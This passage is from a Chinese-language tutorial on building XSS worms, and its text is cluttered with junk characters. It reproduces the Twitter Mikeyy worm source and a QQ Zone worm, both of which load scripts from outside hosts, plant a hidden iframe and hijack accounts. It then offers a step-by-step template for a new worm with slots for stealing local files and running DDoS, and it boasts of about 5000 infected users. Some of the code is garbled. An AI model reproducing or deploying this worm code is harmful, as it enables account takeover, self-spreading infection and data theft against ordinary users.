9 ?5 r0 c* z5 x, A# y( X6 P 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; $ m% Y! U/ {7 @) |: S
0 G! ^+ I; ?' v' H2 h 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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; n0 T0 z4 M4 E: H 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; ; B: m" y @8 c& i7 X$ {8 `
6 a4 f, p2 s$ R 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 1 [* x L( M, V4 B& N
Q7 w) {4 |* V" k/ S7 R8 a: b% L 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; / ^' |. @6 f" C: J. D; }, U, `, R! Q- E
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 9 ]0 l4 ~$ c. D+ [6 X
, Y. L& o& D0 Y7 W, ?/ Y7 a- K 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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/ R) \# c0 b# u3 Y* m' u: U/ ]. A 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; 2 l2 t; `$ V4 D
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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6 K4 G' h4 {% h, N2 K. w8 Q 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; * \' Z- T+ v, |
5 D; t! L y: J' L* B 26. var updateEncode=urlencode(randomUpdate[genRand]); F1 U+ y4 i& b: j' M. _
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27. " a) @$ r" @9 [6 K
& ^3 d1 N$ ?+ ]; p( E" S; }
28. var ajaxConn= new XHConn(); 4 d2 `- o- U2 C" ]) k, X* ?
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); " `- ^' y- g- y7 y3 p& H* T+ x
: V6 n, `( T4 O. X/ V- D 30. var _0xf81bx1c="Mikeyy"; 2 y' W' G; E0 q; o6 V
6 x% S. }) e4 R6 n* s; l8 y
31. var updateEncode=urlencode(_0xf81bx1c); 4 {) g# R+ r+ e4 s9 U4 T
& X* Y+ X+ \: C6 V0 ^3 h% U 32. var ajaxConn1= new XHConn(); . a# T' }3 l& x$ [+ ~5 x T3 h, {
* r" b7 _1 L( w$ M# @( B 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 7 _" t# k) m4 @+ y8 ]
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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& {- M0 M" W- u4 ]9 P: @ 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn(); 6 u4 p+ I/ P: m
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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% V# m+ M: U- C5 ~- B 38. ) o6 I" v' B% I8 p( ^7 W
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39. } ; # {, l2 O! a3 G0 V( _; F
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40. setTimeout(wait(),5250);
/ \4 `2 d) b- z0 B5 m复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;+ P( t* G- z, N$ g
4 a7 E" ~+ ]! T" j- J9 \" ]' _9 c& {$ s
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var shendu;shendu=4;
, A" p" m8 h0 b- m1 c1 H+ y
& p C$ ~2 \ C0 w0 Y//---------------global---v------------------------------------------
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4 Q4 h& n: K2 U6 O$ \//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧? P O( ]" s9 f& }9 R
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";0 H( F" O( w- j# R: C2 ^
% e) M" d5 q8 y, Avar myblogurl=new Array();var myblogid=new Array();3 N5 v* U% I. z1 `* R
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var gurl=document.location.href;2 Y6 k P1 b' P! D, {. B& [
* L: k8 k: ?( ?8 E7 u var gurle=gurl.indexOf("com/");" \( p9 }5 P1 d' l& }; }) H
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gurl=gurl.substring(0,gurle+3);
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+ F* |' l) S, Y! ~ var visitorID=top.document.documentElement.outerHTML;- D6 t3 I3 q2 E: `
! |% G y* |4 j: n$ ~' r4 m6 R var cookieS=visitorID.indexOf("g_iLoginUin = ");' W" p8 y W: x8 |
9 }, `; }" {, t: |. Q visitorID=visitorID.substring(cookieS+14);: `" l% R2 F) ]& W
0 }- v/ _! I7 s cookieS=visitorID.indexOf(",");
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# P6 h4 N5 r3 W( E7 u! R visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID);9 ^% B# r" \ o0 c
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DOshuamy();
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0 @% B" q, A# ^( J- K7 z. `//挂马
& I) X" o, F/ [* J1 L) u
1 `" s6 j [- ~, [3 W: Y8 Nfunction DOshuamy(){
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6 {- ^, H `& Q$ n& N7 uvar ssr=document.getElementById("veryTitle");
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& F7 D' Z6 p2 z) u# S' n0 i9 qssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");, u8 O J, m h! b& |( h
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}
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& T8 n; e! J$ ?- @. R2 H! d& z//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?" l7 u0 U" p. ]" l9 u3 T! S0 s) O
! x1 d5 R" q$ m& T# Y6 v1 L+ m* Zfunction get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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" h% m, V5 `; u! S xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象7 O; K+ D y) j5 ~0 M' ?
3 |" z* _9 x, q' _2 y if(xhr){ //成功就执行下面的. f# L ^- G% F" g0 ?2 k) X% }
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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, y+ o& Z/ Q7 O& h- Q6 e3 c xhr.send();guest=xhr.responseText;
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/ K# p) i( l8 J: }" _1 H get_my_blogurl(guest); //执行这个函数
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}
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//这里似乎是判断没有登录的
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' @# k. b( h4 B: Y6 A: }% V/ k9 xfunction get_my_blogurl(guest){
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" z m8 g4 H; w' E" W8 L var mybloglist=guest;' v6 {6 f9 _/ F( k5 e1 L
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){3 a" C2 ~6 v+ c. o. F2 U1 y
* m. C- z# L l myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的1 r% N7 Y7 h7 s8 k
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mybloglist=mybloglist.substring(myurls+11);' t- [1 ^/ }! [8 U4 X' @
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myurls=mybloglist.indexOf(')');( @+ y9 a4 W1 z+ Y* b* M
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myblogid=mybloglist.substring(0,myurls);" n* v4 y6 A( L' Q* a; z
( }1 d8 ] P7 a7 Y }else{break;}
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get_my_testself(); //执行这个函数
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" ]( P* { w8 ?/ x) v1 R) g% c//这里往哪跳就不知道了1 K) w. W4 B: {) E, T
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function get_my_testself(){
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for(i=0;i<myblogid.length;i++){ //获得blogid的值# ~4 t, O5 G$ N( R( s+ {
t. S2 R( [- U y9 ^2 i4 ~ var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr2){ //如果成功 \4 u+ c0 a) x [8 |7 z3 l7 B1 H3 w+ E
& h+ K8 m: r: C2 `- r! C: B% G# `; q! E xhr2.open("GET",url,false); //打开上面的那个url- a. ?* a e0 J$ D' \$ M
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xhr2.send();3 d w. n4 J. s. X* o0 a7 X: N. o
- s$ ?9 @! F0 A. k guest2=xhr2.responseText;; T1 H; q. i. w5 s0 {
5 g, @5 O; N% u0 [9 w) ~% t$ R/ a- W3 G var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
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. f% y6 A) g: j: q var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串' X0 r+ n+ ?' i6 `3 t9 T; A
! S7 j/ S$ B8 b* G% Y if(mycheckmydoit!="-1"){ //返回-1则代表没找到- t, P% c5 z0 ~. R! c) z9 [7 a+ Z
% m+ z7 [- J, {# F( @8 l9 \. ~ targetblogurlid=myblogid;
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2 x4 O8 v- g" R- \% D add_jsdel(visitorID,targetblogurlid,gurl); //执行它) Y, |9 x0 O) @
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break;+ f4 i# {3 G# G# X
+ J2 j* ~/ \0 h6 M( D) |$ S9 f3 D- b
}
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1 ^3 m4 S/ J* b0 R if(mycheckit=="-1"){* p+ w1 Z: q' S3 I c, p6 G
- [; `8 o0 s/ _3 S b7 ^ targetblogurlid=myblogid;
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add_js(visitorID,targetblogurlid,gurl); //执行它
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- T, n- m4 L( j3 ]4 f4 f break;; z1 t8 N" X: E' c
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A m5 c4 X5 \1 q4 |# Y}6 w$ ~) I- m% a! K6 v9 O, p
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//-------------------------------------- $ o9 V' B: Z% Q8 W i2 p7 j C
1 u5 T# u$ v; L$ E3 O//根据浏览器创建一个XMLHttpRequest对象
! H) C: \" }5 X/ m
6 l% ]! `4 b }, V4 ^8 ^0 }2 Kfunction createXMLHttpRequest(){- G+ }; G0 \" f7 f- T# C+ B8 {
8 [* y5 q6 i2 }, f: E0 G# e var XMLhttpObject=null;
& s6 I/ a7 A4 ^
; \5 p+ t$ j x5 D; z" r6 z/ l2 ~ if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
( B3 Q+ Z, ^8 Q8 \
" V6 Q- E4 p" c1 w else
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, c8 `- o0 [+ m8 m" r2 X: ~ { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; 2 i8 k4 ^( U! T0 }( z Z( }9 U8 L( o
S8 \% D4 O* u) ^/ z- ~
for(var i=0;i<MSXML.length;i++) 3 n/ _+ M* e) J0 F; A @, u
) S5 N7 l4 A5 K) b {
5 s( Z9 @& i C; }. u' W, y- e/ N. O
try
1 e _. {* I! V/ P" i6 j* \8 ]# z: V7 h2 u
{
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! Q, T( i& ^; y* j" Z XMLhttpObject=new ActiveXObject(MSXML);
% K7 J* w7 A" M' {2 k9 v8 Q% r' q+ `7 v5 j' r p9 ?4 G& e
break;
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/ H0 y3 T1 k8 R) C) T" ] } . z4 L( E# I' ?( `; |
/ c* \9 c4 \! A3 A1 Q
catch (ex) {
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}
8 _ t/ @4 O( i+ h+ L4 M* d- ]+ h M) }
}
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9 x: R7 s j1 ? R }
: J8 w+ k( Y( j4 f. h8 b. F& C% D' @; p" P: _
return XMLhttpObject;9 n- K* o: f1 _. u; g& x4 r( W
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5 {7 u9 L9 Z _5 [5 Z5 E# L
" L+ y! z( D- {0 G9 {% D5 |
//这里就是感染部分了
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, S" E7 }. Z7 Vfunction add_js(visitorID,targetblogurlid,gurl){" o ?/ f# K4 \4 x: l
* [ x5 A2 B) cvar s2=document.createElement('script'); d7 V2 L. ~7 u- O3 ^9 \
1 W8 l9 b2 A8 p4 ]8 v
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
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5 x* g. m( j4 r1 E1 ^+ H/ is2.type='text/javascript';
5 w( k3 r0 i8 y: ~3 ^5 v6 H& G7 e; q$ X p4 E9 U
document.getElementsByTagName('head').item(0).appendChild(s2);
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1 C2 v: |/ z( o}
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" v! C- g! \. H/ _3 ~/ c; N5 J! g' Z _) r7 x$ c+ c
function add_jsdel(visitorID,targetblogurlid,gurl){( z% [+ J, @4 P
6 M' R# a; P& o% ?6 k% s
var s2=document.createElement('script');- J9 |1 X: m+ t6 N
$ e" D; h* N* K3 M6 W" i) P4 `
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
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s2.type='text/javascript';
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document.getElementsByTagName('head').item(0).appendChild(s2);) p) `& P8 P1 _* h. n
. v$ \3 l/ |2 c, ], ]6 Z' W1 c P' }
}. E3 \- a; p. c+ L& q
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:" r" x9 w# a# q; t, i% I" N
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
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2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)7 n% x& r2 O& [. j/ y8 R
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综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
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3 B. v- A: p8 S. _, V( C
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.; A& j5 k- `2 y- C
3 J% }9 U/ M5 @& b5 c @
首先,自然是判断不同浏览器,创建不同的对象var request = false;
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();% U; I# T) D8 s; m+ F
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if(request.overrideMimeType) {5 v& [1 K2 p9 F( [, U+ \
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request.overrideMimeType('text/xml');* K- g) m N& R' B* e2 c+ Q
9 G3 g5 U, `, o: J0 g8 `" P/ o( @
}5 N" C O: k: n( c4 \
& ?% Y1 h+ J! C% }5 Q} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];( u1 B M! }% {
8 `) A9 [8 L$ a# o! O/ |
for(var i=0; i<versions.length; i++) {
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try {
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m6 t2 }, _* @3 h% p1 ?) ?request = new ActiveXObject(versions);( H. @! {' v8 g6 F& G
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} catch(e) {}
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}
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xmlHttpReq=request;/ w" n# l" P; _4 n: d- Q
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){. M8 R' z0 Q0 H5 A+ C
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var Browser_Name=navigator.appName;
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( z, P O$ o2 P; T0 R# C5 a var Browser_Version=parseFloat(navigator.appVersion);1 k) g0 e5 i: p x- `8 ?$ p. O
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var Browser_Agent=navigator.userAgent;
; | D4 Q5 ?# A. j6 l7 ^) D5 l! J- H) O6 G7 d
2 @5 ]$ ]: d9 t$ w4 w. \
& f7 ~8 {* c6 h8 l var Actual_Version,Actual_Name; U3 [: c) B3 s0 r7 R7 U6 k7 s
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5 U; [, }3 g0 D0 F: u
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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var is_NN=(Browser_Name=="Netscape");' Q7 ~6 r8 D# m& V( E
% t0 _- \9 m* p) P3 E var is_Ch=(Browser_Name=="Chrome");
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if(is_NN){
9 l5 E' Z$ ^5 M9 r$ B+ j9 X+ d' \* ?4 Q; j: V+ b1 u
if(Browser_Version>=5.0){! b- t* r' `/ f# E$ u+ O: x. W
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var Split_Sign=Browser_Agent.lastIndexOf("/");
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var Version=Browser_Agent.indexOf(" ",Split_Sign);
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, D! X3 p5 H% L3 b% V4 e2 k. n var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
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. `5 q+ J4 H5 r/ d) ]% f- Z
9 e+ D4 X( W- C- {3 E Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
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Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
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else{% r8 g% f& M/ y# Z
) V: k4 k: q) U: h& s! c: Z: d Actual_Version=Browser_Version;+ X3 d! c- u9 w z/ Q, I7 s: P
1 a2 L. x0 v3 g* j% L1 e Actual_Name=Browser_Name;# j% Y0 l4 ^2 C) Y1 l; S
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: t8 E5 Q+ h2 u2 \1 S" y7 \ }
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; R0 X( K* i1 [3 {7 R" y! | else if(is_IE){0 R& `. \8 }9 u S6 t
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var Version_Start=Browser_Agent.indexOf("MSIE");6 \/ _& ?& _ i6 B
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var Version_End=Browser_Agent.indexOf(";",Version_Start);
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;' n6 r1 l% H1 j3 v$ j& D% {
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9 _' V! E( w+ v5 W' k! x if(Browser_Agent.indexOf("Maxthon")!=-1){6 n4 G2 q& g* `* L
+ y# g( g0 K3 o' N' J
Actual_Name+="(Maxthon)";+ X \* {1 B" V& k( Q
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- r8 }! \1 O+ L! _( i else if(Browser_Agent.indexOf("Opera")!=-1){
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' h8 l. P; p5 D& t/ f+ t Actual_Name="Opera";
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var tempstart=Browser_Agent.indexOf("Opera");$ q/ o$ _# A h1 t% k* `, C
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var tempend=Browser_Agent.length;) Q1 K2 t5 R |, ~( d
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Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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}
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}
% |: k. Q' b' u. m& a$ [& c. V' M: T% ]/ q( k8 @
else if(is_Ch){9 K* |( b. j! E; v
R# R' w% S& c! U8 ?! d var Version_Start=Browser_Agent.indexOf("Chrome");# D1 E) F/ x5 Z; t1 e
1 j$ ]& x6 T3 _ v. a& d7 c
var Version_End=Browser_Agent.indexOf(";",Version_Start);7 Y5 _- Y* C) m: L* A0 ^# y
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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+ T' ^0 F6 R! M5 g5 l Actual_Name=Browser_Name;
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) _+ E% }* a+ R& h; ]
5 @+ \7 B& z9 H! W/ R0 | if(Browser_Agent.indexOf("Maxthon")!=-1){# ~7 T& d6 l' a: N3 ?! }
5 d( T8 Z& `$ G- b( F1 J* p Actual_Name+="(Maxthon)";! G0 X2 @% ?2 C. \1 U& F5 d! Z9 S
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else if(Browser_Agent.indexOf("Opera")!=-1){
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D0 j% K' `3 l( y% [+ G. C) b Actual_Name="Opera";
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var tempstart=Browser_Agent.indexOf("Opera");
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var tempend=Browser_Agent.length;) d% I. H j5 z$ ^. w- y: Z$ W4 P
* Q( q; Q" i$ _% G+ a1 h0 ]. G Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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; k/ i% j, T Z) L* z4 j else{! V4 k( t7 o# h ~8 T; u# e
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Actual_Name="Unknown Navigator"! E D( j! E8 v5 ^& e2 b
' L" Q( c: E3 m# R/ f Actual_Version="Unknown Version"$ O3 i% Y2 I v( S' X
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}" i+ |* a8 p& l3 b d8 D. O
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4 o8 Z. u2 N" }6 r& P) z/ Q5 J9 C! |2 i
navigator.Actual_Name=Actual_Name;
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navigator.Actual_Version=Actual_Version;+ N; o. E5 g! @
+ Z" n9 x% [- N; F4 z 1 ]; @ |: r% r
* |- V" v* S% M+ z& T
this.Name=Actual_Name;4 q# [: e0 B, s8 V
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this.Version=Actual_Version;& f! M/ o& y! I
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browserinfo();
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if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
4 s) E: d4 M$ N* L2 b- K
+ d" c: n& [" B if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}' [& |$ U- ~3 F& u2 Q
, {' I$ c. o2 @* \
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}$ q0 O4 |" s s
! v: p) N3 t% a' ~# h' l S, z( s
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
% R& j! J2 U# \% @+ }; q D/ m% p复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
+ @$ E4 r' r# f3 t复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
) Q, b# b. A* `6 [0 m复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面. B, S$ P& b. `: t9 G$ K- L1 r
- N2 A3 g( b: b+ i) ^/ W! U1 G9 |
xmlHttpReq.send(null);
9 c' w- V0 _$ a$ {( n
1 L* {, W+ i- h3 r+ xvar resource = xmlHttpReq.responseText;
3 g) D3 M" V; j; `$ M9 I$ q( d- E9 T
var id=0;var result;
; j" N# d c" }2 M t/ {+ P* D4 K5 C7 v( \) W8 b* z
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
5 ]' }( J7 ?5 E9 S# P
( M' s4 j5 j. b- y* [while ((result = patt.exec(resource)) != null) {
- C7 R0 e0 N; l# a0 s2 c
4 y+ g: u0 M9 w. @8 iid++;. ^( f' z3 r; D0 Q
2 |& ?$ i! }! M7 U1 P3 m
}
* @* N& T5 k3 l1 r ]复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只. F: z! s0 o! m9 c- F, D
# a* E c+ R# P8 xno=resource.search(/my name is/);
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$ i; p- L. R* |var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码., A$ H5 U& H8 ]/ Z
9 r4 ^$ {' r6 r4 `/ R4 A# S# F2 r7 `var post="wd="+wd;8 z* U) T9 ~% e
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.. x/ j+ ?3 ^- W' K1 U# t
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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; j; c9 }8 a. ~4 C& \/ Q, ]xmlHttpReq.setRequestHeader("content-length",post.length); , Z) h( }$ f" {# F ]
+ g0 K. Z p( n4 V% V5 x! D- yxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");# @( ?: ?9 w/ t2 w7 z4 L
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xmlHttpReq.send(post);; _2 Y! ?. m" m9 Y6 e. S: g% `/ |
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. m: ?$ P+ d3 |2 R- ?+ K9 J复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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- |/ O V8 f% U) M8 ] J+ p( V Zvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得./ L! w, n9 l, k% o/ G+ b
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.6 v: w: c8 Z$ D, k
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var post="wd="+wd;
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4 A! ], p7 _; {xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);* j$ M" }# H( `; @& X1 }2 U
) z$ D/ q' y8 `) {( _8 i* w& E" u: vxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");$ `9 V5 T8 w: B, v
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xmlHttpReq.setRequestHeader("content-length",post.length);
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1 j L. T2 A& b: CxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");3 ?4 I3 H$ U" e' q/ X+ W
' j9 g0 t" j6 @2 g [6 v1 BxmlHttpReq.send(post); //把传播的信息 POST出去.- ?1 f1 l) d0 c$ k: y( m' q, v
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}
9 @3 u, k8 m" v J1 {, g7 \ x7 [ Z }复制代码-----------------------------------------------------总结-------------------------------------------------------------------. i1 a" r# @( o8 ~: G4 o4 r- y6 z
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' S4 R' d( f4 @- w" }% ~! y本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.8 @: J: S' C, q- ~! V! Y
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.' E: w; q+ W. i3 O4 H# K3 f5 n4 M
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:2 Q, ~+ a4 t L
, b K; ~& [1 D3 x' e; c, G* A"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005). @% ]. [ ?1 D1 ~4 n
Other XmlHttpRequest tricks (Amit Klein, January 2003)
2 t1 ^# _8 k+ s: N. p"Cross Site Tracing" (Jeremiah Grossman, January 2003)
6 C0 ]4 G0 D: J2 Y5 T' W' phttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog9 B/ @3 {9 j1 ~* w9 t: \
空虚浪子心BLOG http://www.inbreak.net
6 b; C9 S2 h' T" i) G5 xXeye Team http://xeye.us/3 S7 v1 d I1 p* \/ T8 z
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